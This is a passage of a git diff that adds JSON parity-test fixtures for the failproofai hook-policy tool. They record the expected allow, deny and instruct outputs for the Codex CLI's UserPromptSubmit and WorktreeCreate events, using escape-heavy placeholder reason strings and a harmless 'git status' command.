"UserPromptSubmit", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "deny", + "exitCode": 2, + "policyName": "parity/policy-1", + "policyNames": null, + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stdout": "" + }, + "policy_count": 2, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/codex/UserPromptSubmit/instruct__tool-absent__one-policy.json b/__tests__/parity/fixtures/codex/UserPromptSubmit/instruct__tool-absent__one-policy.json new file mode 100644 index 00000000..257b936d --- /dev/null +++ b/__tests__/parity/fixtures/codex/UserPromptSubmit/instruct__tool-absent__one-policy.json @@ -0,0 +1,45 @@ +{ + "case": "instruct__tool-absent__one-policy", + "cli": "codex", + "decision_kind": "instruct", + "event": "UserPromptSubmit", + "input": { + "event_type": "UserPromptSubmit", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "UserPromptSubmit", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "instruct", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "codex", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "UserPromptSubmit", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "instruct", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"hookSpecificOutput\":{\"hookEventName\":\"UserPromptSubmit\",\"additionalContext\":\"Instruction from failproofai: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\"}}" + }, + "policy_count": 1, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/codex/UserPromptSubmit/instruct__tool-absent__two-policies.json b/__tests__/parity/fixtures/codex/UserPromptSubmit/instruct__tool-absent__two-policies.json new file mode 100644 index 00000000..40878493 --- /dev/null +++ b/__tests__/parity/fixtures/codex/UserPromptSubmit/instruct__tool-absent__two-policies.json @@ -0,0 +1,51 @@ +{ + "case": "instruct__tool-absent__two-policies", + "cli": "codex", + "decision_kind": "instruct", + "event": "UserPromptSubmit", + "input": { + "event_type": "UserPromptSubmit", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "UserPromptSubmit", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "instruct", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "instruct", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "codex", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "UserPromptSubmit", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "instruct", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1", + "parity/policy-2" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\nparity reason 2: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"hookSpecificOutput\":{\"hookEventName\":\"UserPromptSubmit\",\"additionalContext\":\"Instruction from failproofai: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\\nparity reason 2: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\"}}" + }, + "policy_count": 2, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/codex/UserPromptSubmit/instruct__tool-present__one-policy.json b/__tests__/parity/fixtures/codex/UserPromptSubmit/instruct__tool-present__one-policy.json new file mode 100644 index 00000000..e8ed4ef9 --- /dev/null +++ b/__tests__/parity/fixtures/codex/UserPromptSubmit/instruct__tool-present__one-policy.json @@ -0,0 +1,49 @@ +{ + "case": "instruct__tool-present__one-policy", + "cli": "codex", + "decision_kind": "instruct", + "event": "UserPromptSubmit", + "input": { + "event_type": "UserPromptSubmit", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "UserPromptSubmit", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "instruct", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "codex", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "UserPromptSubmit", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "instruct", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"hookSpecificOutput\":{\"hookEventName\":\"UserPromptSubmit\",\"additionalContext\":\"Instruction from failproofai: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\"}}" + }, + "policy_count": 1, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/codex/UserPromptSubmit/instruct__tool-present__two-policies.json b/__tests__/parity/fixtures/codex/UserPromptSubmit/instruct__tool-present__two-policies.json new file mode 100644 index 00000000..d94f4d2c --- /dev/null +++ b/__tests__/parity/fixtures/codex/UserPromptSubmit/instruct__tool-present__two-policies.json @@ -0,0 +1,55 @@ +{ + "case": "instruct__tool-present__two-policies", + "cli": "codex", + "decision_kind": "instruct", + "event": "UserPromptSubmit", + "input": { + "event_type": "UserPromptSubmit", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "UserPromptSubmit", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "instruct", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "instruct", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "codex", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "UserPromptSubmit", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "instruct", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1", + "parity/policy-2" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\nparity reason 2: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"hookSpecificOutput\":{\"hookEventName\":\"UserPromptSubmit\",\"additionalContext\":\"Instruction from failproofai: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\\nparity reason 2: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\"}}" + }, + "policy_count": 2, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/codex/WorktreeCreate/allow-silent__tool-absent__one-policy.json b/__tests__/parity/fixtures/codex/WorktreeCreate/allow-silent__tool-absent__one-policy.json new file mode 100644 index 00000000..e4aad502 --- /dev/null +++ b/__tests__/parity/fixtures/codex/WorktreeCreate/allow-silent__tool-absent__one-policy.json @@ -0,0 +1,43 @@ +{ + "case": "allow-silent__tool-absent__one-policy", + "cli": "codex", + "decision_kind": "allow-silent", + "event": "WorktreeCreate", + "input": { + "event_type": "WorktreeCreate", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "WorktreeCreate", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": null + } + ], + "session": { + "cli": "codex", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "WorktreeCreate", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": null, + "policyNames": null, + "reason": null, + "stderr": "", + "stdout": "" + }, + "policy_count": 1, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/codex/WorktreeCreate/allow-silent__tool-absent__two-policies.json b/__tests__/parity/fixtures/codex/WorktreeCreate/allow-silent__tool-absent__two-policies.json new file mode 100644 index 00000000..2a000690 --- /dev/null +++ b/__tests__/parity/fixtures/codex/WorktreeCreate/allow-silent__tool-absent__two-policies.json @@ -0,0 +1,48 @@ +{ + "case": "allow-silent__tool-absent__two-policies", + "cli": "codex", + "decision_kind": "allow-silent", + "event": "WorktreeCreate", + "input": { + "event_type": "WorktreeCreate", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "WorktreeCreate", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": null + }, + { + "decision": "allow", + "name": "parity/policy-2", + "reason": null + } + ], + "session": { + "cli": "codex", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "WorktreeCreate", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": null, + "policyNames": null, + "reason": null, + "stderr": "", + "stdout": "" + }, + "policy_count": 2, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/codex/WorktreeCreate/allow-silent__tool-present__one-policy.json b/__tests__/parity/fixtures/codex/WorktreeCreate/allow-silent__tool-present__one-policy.json new file mode 100644 index 00000000..94c2287c --- /dev/null +++ b/__tests__/parity/fixtures/codex/WorktreeCreate/allow-silent__tool-present__one-policy.json @@ -0,0 +1,47 @@ +{ + "case": "allow-silent__tool-present__one-policy", + "cli": "codex", + "decision_kind": "allow-silent", + "event": "WorktreeCreate", + "input": { + "event_type": "WorktreeCreate", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "WorktreeCreate", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": null + } + ], + "session": { + "cli": "codex", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "WorktreeCreate", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": null, + "policyNames": null, + "reason": null, + "stderr": "", + "stdout": "" + }, + "policy_count": 1, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/codex/WorktreeCreate/allow-silent__tool-present__two-policies.json b/__tests__/parity/fixtures/codex/WorktreeCreate/allow-silent__tool-present__two-policies.json new file mode 100644 index 00000000..df8ec0e3 --- /dev/null +++ b/__tests__/parity/fixtures/codex/WorktreeCreate/allow-silent__tool-present__two-policies.json @@ -0,0 +1,52 @@ +{ + "case": "allow-silent__tool-present__two-policies", + "cli": "codex", + "decision_kind": "allow-silent", + "event": "WorktreeCreate", + "input": { + "event_type": "WorktreeCreate", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "WorktreeCreate", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": null + }, + { + "decision": "allow", + "name": "parity/policy-2", + "reason": null + } + ], + "session": { + "cli": "codex", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "WorktreeCreate", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": null, + "policyNames": null, + "reason": null, + "stderr": "", + "stdout": "" + }, + "policy_count": 2, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/codex/WorktreeCreate/allow-with-reason__tool-absent__one-policy.json b/__tests__/parity/fixtures/codex/WorktreeCreate/allow-with-reason__tool-absent__one-policy.json new file mode 100644 index 00000000..dbc1fd4b --- /dev/null +++ b/__tests__/parity/fixtures/codex/WorktreeCreate/allow-with-reason__tool-absent__one-policy.json @@ -0,0 +1,45 @@ +{ + "case": "allow-with-reason__tool-absent__one-policy", + "cli": "codex", + "decision_kind": "allow-with-reason", + "event": "WorktreeCreate", + "input": { + "event_type": "WorktreeCreate", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "WorktreeCreate", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "codex", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "WorktreeCreate", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "" + }, + "policy_count": 1, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/codex/WorktreeCreate/allow-with-reason__tool-absent__two-policies.json b/__tests__/parity/fixtures/codex/WorktreeCreate/allow-with-reason__tool-absent__two-policies.json new file mode 100644 index 00000000..6e635cc9 --- /dev/null +++ b/__tests__/parity/fixtures/codex/WorktreeCreate/allow-with-reason__tool-absent__two-policies.json @@ -0,0 +1,51 @@ +{ + "case": "allow-with-reason__tool-absent__two-policies", + "cli": "codex", + "decision_kind": "allow-with-reason", + "event": "WorktreeCreate", + "input": { + "event_type": "WorktreeCreate", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "WorktreeCreate", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "allow", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "codex", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "WorktreeCreate", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1", + "parity/policy-2" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\nparity reason 2: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n[failproofai] parity/policy-2: parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "" + }, + "policy_count": 2, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/codex/WorktreeCreate/allow-with-reason__tool-present__one-policy.json b/__tests__/parity/fixtures/codex/WorktreeCreate/allow-with-reason__tool-present__one-policy.json new file mode 100644 index 00000000..1c219cdd --- /dev/null +++ b/__tests__/parity/fixtures/codex/WorktreeCreate/allow-with-reason__tool-present__one-policy.json @@ -0,0 +1,49 @@ +{ + "case": "allow-with-reason__tool-present__one-policy", + "cli": "codex", + "decision_kind": "allow-with-reason", + "event": "WorktreeCreate", + "input": { + "event_type": "WorktreeCreate", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "WorktreeCreate", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "codex", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "WorktreeCreate", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "" + }, + "policy_count": 1, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/codex/WorktreeCreate/allow-with-reason__tool-present__two-policies.json b/__tests__/parity/fixtures/codex/WorktreeCreate/allow-with-reason__tool-present__two-policies.json new file mode 100644 index 00000000..e578a3dd --- /dev/null +++ b/__tests__/parity/fixtures/codex/WorktreeCreate/allow-with-reason__tool-present__two-policies.json @@ -0,0 +1,55 @@ +{ + "case": "allow-with-reason__tool-present__two-policies", + "cli": "codex", + "decision_kind": "allow-with-reason", + "event": "WorktreeCreate", + "input": { + "event_type": "WorktreeCreate", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "WorktreeCreate", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "allow", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "codex", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "WorktreeCreate", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1", + "parity/policy-2" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\nparity reason 2: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n[failproofai] parity/policy-2: parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "" + }, + "policy_count": 2, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/codex/WorktreeCreate/deny__tool-absent__one-policy.json b/__tests__/parity/fixtures/codex/WorktreeCreate/deny__tool-absent__one-policy.json new file mode 100644 index 00000000..f1066791 --- /dev/null +++ b/__tests__/parity/fixtures/codex/WorktreeCreate/deny__tool-absent__one-policy.json @@ -0,0 +1,43 @@ +{ + "case": "deny__tool-absent__one-policy", + "cli": "codex", + "decision_kind": "deny", + "event": "WorktreeCreate", + "input": { + "event_type": "WorktreeCreate", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "WorktreeCreate", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "deny", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "codex", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "WorktreeCreate", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "deny", + "exitCode": 2, + "policyName": "parity/policy-1", + "policyNames": null, + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stdout": "" + }, + "policy_count": 1, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/codex/WorktreeCreate/deny__tool-absent__two-policies.json b/__tests__/parity/fixtures/codex/WorktreeCreate/deny__tool-absent__two-policies.json new file mode 100644 index 00000000..b46545f8 --- /dev/null +++ b/__tests__/parity/fixtures/codex/WorktreeCreate/deny__tool-absent__two-policies.json @@ -0,0 +1,48 @@ +{ + "case": "deny__tool-absent__two-policies", + "cli": "codex", + "decision_kind": "deny", + "event": "WorktreeCreate", + "input": { + "event_type": "WorktreeCreate", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "WorktreeCreate", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "deny", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "deny", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "codex", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "WorktreeCreate", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "deny", + "exitCode": 2, + "policyName": "parity/policy-1", + "policyNames": null, + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stdout": "" + }, + "policy_count": 2, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/codex/WorktreeCreate/deny__tool-present__one-policy.json b/__tests__/parity/fixtures/codex/WorktreeCreate/deny__tool-present__one-policy.json new file mode 100644 index 00000000..a014a37b --- /dev/null +++ b/__tests__/parity/fixtures/codex/WorktreeCreate/deny__tool-present__one-policy.json @@ -0,0 +1,47 @@ +{ + "case": "deny__tool-present__one-policy", + "cli": "codex", + "decision_kind": "deny", + "event": "WorktreeCreate", + "input": { + "event_type": "WorktreeCreate", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "WorktreeCreate", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "deny", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "codex", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "WorktreeCreate", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "deny", + "exitCode": 2, + "policyName": "parity/policy-1", + "policyNames": null, + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stdout": "" + }, + "policy_count": 1, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/codex/WorktreeCreate/deny__tool-present__two-policies.json b/__tests__/parity/fixtures/codex/WorktreeCreate/deny__tool-present__two-policies.json new file mode 100644 index 00000000..ab238a41 --- /dev/null +++ b/__tests__/parity/fixtures/codex/WorktreeCreate/deny__tool-present__two-policies.json @@ -0,0 +1,52 @@ +{ + "case": "deny__tool-present__two-policies", + "cli": "codex", + "decision_kind": "deny", + "event": "WorktreeCreate", + "input": { + "event_type": "WorktreeCreate", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "WorktreeCreate", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "deny", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "deny", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "codex", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "WorktreeCreate", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "deny", + "exitCode": 2, + "policyName": "parity/policy-1", + "policyNames": null, + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stdout": "" + }, + "policy_count": 2, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/codex/WorktreeCreate/instruct__tool-absent__one-policy.json b/__tests__/parity/fixtures/codex/WorktreeCreate/instruct__tool-absent__one-policy.json new file mode 100644 index 00000000..8d962d04 --- /dev/null +++ b/__tests__/parity/fixtures/codex/WorktreeCreate/instruct__tool-absent__one-policy.json @@ -0,0 +1,45 @@ +{ + "case": "instruct__tool-absent__one-policy", + "cli": "codex", + "decision_kind": "instruct", + "event": "WorktreeCreate", + "input": { + "event_type": "WorktreeCreate", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "WorktreeCreate", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "instruct", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "codex", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "WorktreeCreate", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "instruct", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"hookSpecificOutput\":{\"hookEventName\":\"WorktreeCreate\",\"additionalContext\":\"Instruction from failproofai: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\"}}" + }, + "policy_count": 1, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/codex/WorktreeCreate/instruct__tool-absent__two-policies.json b/__tests__/parity/fixtures/codex/WorktreeCreate/instruct__tool-absent__two-policies.json new file mode 100644 index 00000000..01fa53f6 --- /dev/null +++ b/__tests__/parity/fixtures/codex/WorktreeCreate/instruct__tool-absent__two-policies.json @@ -0,0 +1,51 @@ +{ + "case": "instruct__tool-absent__two-policies", + "cli": "codex", + "decision_kind": "instruct", + "event": "WorktreeCreate", + "input": { + "event_type": "WorktreeCreate", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "WorktreeCreate", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "instruct", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "instruct", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "codex", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "WorktreeCreate", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "instruct", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1", + "parity/policy-2" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\nparity reason 2: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"hookSpecificOutput\":{\"hookEventName\":\"WorktreeCreate\",\"additionalContext\":\"Instruction from failproofai: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\\nparity reason 2: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\"}}" + }, + "policy_count": 2, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/codex/WorktreeCreate/instruct__tool-present__one-policy.json b/__tests__/parity/fixtures/codex/WorktreeCreate/instruct__tool-present__one-policy.json new file mode 100644 index 00000000..9df913e5 --- /dev/null +++ b/__tests__/parity/fixtures/codex/WorktreeCreate/instruct__tool-present__one-policy.json @@ -0,0 +1,49 @@ +{ + "case": "instruct__tool-present__one-policy", + "cli": "codex", + "decision_kind": "instruct", + "event": "WorktreeCreate", + "input": { + "event_type": "WorktreeCreate", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "WorktreeCreate", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": 